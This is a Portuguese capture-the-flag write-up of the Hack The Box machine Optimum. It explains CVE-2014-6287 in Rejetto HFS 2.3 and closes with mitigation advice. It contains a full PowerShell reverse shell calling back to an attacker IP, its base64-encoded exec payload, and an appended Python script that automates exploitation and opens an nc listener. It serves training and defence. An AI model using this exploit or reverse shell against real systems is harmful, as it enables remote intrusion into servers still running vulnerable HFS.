Optinum
Introdução
https://app.hackthebox.com/machines/Optimum
Optinum (também conhecida como Optimum) é uma máquina Windows de dificuldade Easy da plataforma Hack The Box, com o IP 10.10.10.8. Ao enumerar a porta 80, encontrei uma aplicação web HTTP File Server (HFS) na versão 2.3, vulnerável a execução remota de código (RCE). Explorando essa falha consegui uma shell como o usuário kostas, que já possui permissões administrativas na máquina, permitindo o comprometimento total do sistema sem necessidade de um exploit de escalonamento de privilégios adicional.
O script de exploração automatizado que desenvolvi para essa máquina encontra-se na seção de Anexos deste relatório.
Escaneamento
Comecei com um scan de portas completo via nmap para identificar todos os serviços expostos, seguido de um scan de versão e scripts padrão nas portas encontradas:
ports=$(sudo nmap -p- -Pn --min-rate=1000 -T4 10.10.10.8 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) && sudo nmap -sC -sV -p $ports 10.10.10.8
O resultado apontou a porta 80 (HTTP) aberta, que se tornou o foco da enumeração seguinte.
Enumeração
Porta 80 (HTTP)
Ao acessar a porta 80, encontrei uma aplicação web rodando o Http File Server (HFS) versão 2.3, da Rejetto.
Pesquisando sobre essa versão do HFS, identifiquei que ela é vulnerável a uma falha de execução remota de código através do campo de busca (“search”) da aplicação. A vulnerabilidade é catalogada como CVE-2014-6287.
Referência: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6287

Exploração
O serviço vulnerável e a CVE
Aplicação vulnerável: Http File Server (HFS) 2.3.x, da Rejetto.
CVE: CVE-2014-6287 (Execução Remota de Código).
A falha existe devido a uma implementação de regex mal feita no arquivo ParserLib.pas do HFS. Esse parser não trata corretamente um byte nulo (%00) dentro da requisição. Uma requisição no formato:
http://localhost:80/search=%00{.exec|cmd.}
faz com que o parser de regex pare de interpretar a string antes do byte nulo, mas o interpretador de macros do HFS continua processando o restante da string após o %00. Isso permite que a macro {.exec|COMANDO.} seja executada no contexto do servidor, resultando em execução remota de comandos.
Referência: https://packetstormsecurity.com/files/128243/HttpFileServer-2.3.x-Remote-Command-Execution.html
Existem exploits públicos prontos para essa CVE, mas optei por explorar a falha manualmente através do campo search da aplicação, para entender melhor o funcionamento da vulnerabilidade.

Prova de conceito (POC)
Usei o Burp Suite para ter controle total sobre a requisição e o encoding do payload.
Payload URL encoded enviado no parâmetro search:
O servidor respondeu confirmando a execução do comando de teste. A vulnerabilidade estava confirmada, então segui para obter uma shell interativa.
Obtendo a shell
Primeiro, preparei um comando reverse shell em PowerShell e o codifiquei em Base64 (formato exigido pelo parâmetro -EncodedCommand do PowerShell):
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.4",443); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{{0}}; while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){{; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i); $sendback = (Invoke-Expression $data 2>&1 | Out-String ); $sendback2 = $sendback + "PS " + (Get-Location).Path + "> "; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}}; $client.Close()
Em seguida, inseri esse comando codificado dentro do payload de exploração da CVE, que também foi URL encoded antes do envio:
exec|powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -EncodedCommand "JGNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5Tb2NrZXRzLlRDUENsaWVudCgiMTAuMTAuMTQuNCIsNDQzKTsgJHN0cmVhbSA9ICRjbGllbnQuR2V0U3RyZWFtKCk7IFtieXRlW11dJGJ5dGVzID0gMC4uNjU1MzV8JXt7MH19OyB3aGlsZSgoJGkgPSAkc3RyZWFtLlJlYWQoJGJ5dGVzLDAsJGJ5dGVzLkxlbmd0aCkpIC1uZSAwKXt7OyAkZGF0YSA9IChOZXctT2JqZWN0IC1UeXBlTmFtZSBTeXN0ZW0uVGV4dC5BU0NJSUVuY29kaW5nKS5HZXRTdHJpbmcoJGJ5dGVzLDAsJGkpOyAkc2VuZGJhY2sgPSAoSW52b2tlLUV4cHJlc3Npb24gJGRhdGEgMj4mMSB8IE91dC1TdHJpbmcgKTsgJHNlbmRiYWNrMiA9ICRzZW5kYmFjayArICJQUyAiICsgKEdldC1Mb2NhdGlvbikuUGF0aCArICI+ICI7ICRzZW5kYnl0ZSA9IChbdGV4dC5lbmNvZGluZ106OkFTQ0lJKS5HZXRCeXRlcygkc2VuZGJhY2syKTsgJHN0cmVhbS5Xcml0ZSgkc2VuZGJ5dGUsMCwkc2VuZGJ5dGUuTGVuZ3RoKTsgJHN0cmVhbS5GbHVzaCgpfX07ICRjbGllbnQuQ2xvc2UoKQo="
Ao enviar a requisição com esse payload no campo search, recebi a conexão reversa no listener, obtendo uma shell PowerShell interativa como o usuário kostas.
Pós-exploração
Enumeração com WinPEAS
Com acesso à máquina, subi o WinPEAS para automatizar a enumeração local em busca de vetores de escalonamento de privilégios:
O WinPEAS revelou que o usuário kostas — já obtido com o RCE do HFS — possui acesso total (full control) à pasta do usuário Administrator. Isso significa que a exploração da vulnerabilidade do HFS foi suficiente para comprometer totalmente a máquina, sem necessidade de um exploit de escalonamento de privilégios adicional: com esse nível de permissão foi possível ler os arquivos da pasta do Administrator, incluindo a flag, e obter controle administrativo completo do host.
Anexos
Script de automação (optimum-getshell.py)
Para automatizar a exploração dessa máquina, desenvolvi o seguinte script em Python, que gera o payload, codifica a reverse shell em PowerShell e dispara a requisição contra o campo search vulnerável do HFS:
#! /usr/bin/env python3
## Title: Exploit HFS (HTTP File Server) 2.3.x - RCE
## Description: GetShell - Optimum - HTB
## CVE : CVE-2014-6287
## Author: 0xEtern4lW0lf
## Created: 20 Dez 2022
## Reference: https://www.rejetto.com/wiki/index.php/HFS:_scripting_commands
## ========= MODULES =========
import base64
import os
import urllib.request
import urllib.parse
import argparse
import sys
## ========= VARIABLE =========
#### COLORS ####
RED = "\033[1;91m"
YELLOW = "\033[1;93m"
BLUE = "\033[1;94m"
GREEN = "\033[1;92m"
END = "\033[1;m"
## ========= FUNCTION =========
## Banner
def banner():
EwLogo = f"""
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡀⠀⠀⠀⠀⠀⠀⣀⠠⠤⢤⣤⣶⣴⣦⣤⣤⣀⡀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣿⣿⣿⣿⣿⣿⣿⣿⡞⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠛⠻⢿⣷⣄⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣄⠈⠉⠛⠿⠟⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠐⡯⣿⣷⡄⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠰⢾⣿⣿⠟⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢌⡻⢿⡆⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠝⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣷⡌⠿⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⠋⠀⣸⣧⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⡄⠁
⠀⠀⠀⠀⠀⠀⠀⢀⣾⣏⣴⠟⢻⣿⠟⠛⠶⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠀⢻⣿⡀
⠀⠀⠀⠀⠀⠀⠀⣼⣿⣿⣿⣴⠿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⢳⣜⣿⡇
⠀⠀⠀⠀⠀⣠⣾⣿⠟⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡇⢿⣿⡇
⠀⠀⢀⣤⣾⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⠸⣿⠇
⢀⣴⣿⡿⠋⠀⠀⠀⠀⠀⣀⣤⣶⣶⣦⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⠀⠀⢸⣿⡄⡿⠀
⢺⣿⡏⠀⠀⠀⠀⢀⣤⣾⣿⠿⠛⠋⠙⠻⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡝⣦⠀⣸⣿⡧⠃⠀
⠀⠈⠉⠀⢠⣤⣶⣿⡿⠋⠀⠀⠀⠀⠀⡀⠈⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡇⣿⣷⣿⣿⠀⠀⠀
⠀⠀⠀⠀⠀⠈⠉⠉⠁⠀⠀⠀⠀⢀⡜⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡆⠀⠀⣼⡇⣾⣿⣿⠇⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⢻⣿⣀⣾⣿⢡⣿⡿⠋⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣴⡿⢣⣿⣿⣿⣿⣣⡿⠋⠁⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⡿⠀⠀⠀⠀⠀⣀⣠⣤⣴⣶⣿⠿⣋⣴⣿⣿⠿⠛⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⣿⡇⠀⢀⣠⣶⣿⣿⡿⠟⠋⠉⠐⠊⠉⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣇⣴⣿⣿⡿⠟⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⣿⣿⣿⣿⠋⠀⠀⠀⠀⠀{RED}#--------------------------------------------#
_____ _ ___ _ _ _ _____ _ __
| ___|| | / || || | | || _ || | / _|
| |__ | |_ ___ _ __ _ __ / /| || || | | || |/' || || |_
| __| | __| / _ \| '__|| '_ \ / /_| || || |/\| || /| || || _|
| |___ | |_ | __/| | | | | |\___ || |\ /\ /\ |_/ /| || |
\____/ \__| \___||_| |_| |_| |_/|_| \/ \/ \___/ |_||_|
#----------------------------------------------------------------#
Author: {GREEN}0xEtern4lW0lf{END}
{RED}Site: {BLUE}https://0xetern4lw0lf.github.io/{END}
FOR EDUCATIONAL PURPOSE ONLY.
"""
return print(f'{BLUE}{EwLogo}{END}')
## Arguments
def parser():
parser = argparse.ArgumentParser(description='GetShell - Optinum / HTB - 0xEtern4lW0lf', add_help=False)
parser.add_argument('-h', '--help', help=helpme())
parser.add_argument('--rhost', help="Target IP address or hostname.", type=str, required=True)
parser.add_argument('--rport', help="Port of the target machine.", type=int, required=True)
parser.add_argument('--lhost', help="Local IP address or hostname.", type=str, required=True)
parser.add_argument('--lport', help="Local Port to receive the shell.", type=int, required=True)
args = parser.parse_args()
global rhost
global rport
global lhost
global lport
rhost = args.rhost
rport = args.rport
lhost = args.lhost
lport = args.lport
def helpme():
print(f'[!] {YELLOW}Usage: {END}')
print(f'[-] python3 {sys.argv[0]} --rhost {GREEN}TARGET_IP{END} --rport {GREEN}TARGET_PORT{END} --lhost {GREEN}YOUR_IP{END} --lport {GREEN}YOUR_PORT{END}')
print(f'[-] {YELLOW}Note*{END} If you are using a hostname instead of an IP address please remove http:// or https:// and try again.')
def weaponization(lhost,lport):
# Define the command to be written to a file
reverse_shell = f'$client = New-Object System.Net.Sockets.TCPClient("{lhost}",{lport}); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{{0}}; while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){{; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i); $sendback = (Invoke-Expression $data 2>&1 | Out-String ); $sendback2 = $sendback + "PS " + (Get-Location).Path + "> "; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}}; $client.Close()'
# Encode the command in base64 format
reverse_shell_encode = base64.b64encode(reverse_shell.encode("utf-16le")).decode()
print("\n[+] Encoding the payload...")
# Define the payload to be included in the URL
global payload
payload = f'exec|powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -EncodedCommand {reverse_shell_encode}'
def atkTarget(rhost,rport,lhost,lport):
# Encode the payload and send a HTTP GET request
payload_encode = urllib.parse.quote_plus(payload)
url = f'http://{rhost}:{rport}/?search=%00{{.{payload_encode}.}}'
urllib.request.urlopen(url)
print("\n[+] Sending encoded payload via GET request to target")
# Print some information
print("\n[+] Setting information")
print("[+] lhost: ", lhost)
print("[+] lport: ", lport)
print("[+] rhost:exec|powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -EncodedCommand {reverse_shell_encode} ", rhost)
print("[+] rport: ", rport)
print("[+] payload: ", payload)
# Listen for connections
print(f"\n[+] Listening for connection in port {lport}")
os.system(f'nc -nlvp {lport}')
def main():
banner()
weaponization(lhost,lport)
atkTarget(rhost,rport,lhost,lport)
## ======= EXECUTION =======
if __name__ == "__main__":
parser()
main()
Mais scripts em: https://github.com/0xEtern4lW0lf
Mitigação
- Substituir o HFS (Rejetto HTTP File Server) por uma solução mantida ativamente. O projeto está abandonado e não recebe correções de segurança; toda a linha 2.3.x é vulnerável à CVE-2014-6287.
- Nunca expor o HFS (ou qualquer file server legado) diretamente na internet. Se o uso for indispensável, restringir o acesso por VPN, firewall e lista de IPs permitidos.
- Aplicar o princípio do menor privilégio nas contas de usuário. O usuário
kostasnão deveria ter controle total sobre a pasta do Administrator; permissões NTFS excessivas devem ser revisadas e corrigidas. - Manter o sistema operacional Windows atualizado, com todos os patches de segurança aplicados, reduzindo a superfície de ataque para escalonamento de privilégios local.
- Monitorar e registrar logs de acesso e execução de processos (ex.: Sysmon, EDR) para detectar comportamentos anômalos, como a execução de
powershell.execom-EncodedCommanda partir de um processo de servidor web. - Realizar varreduras periódicas de vulnerabilidades nos serviços expostos, garantindo que aplicações desatualizadas sejam identificadas e removidas ou substituídas.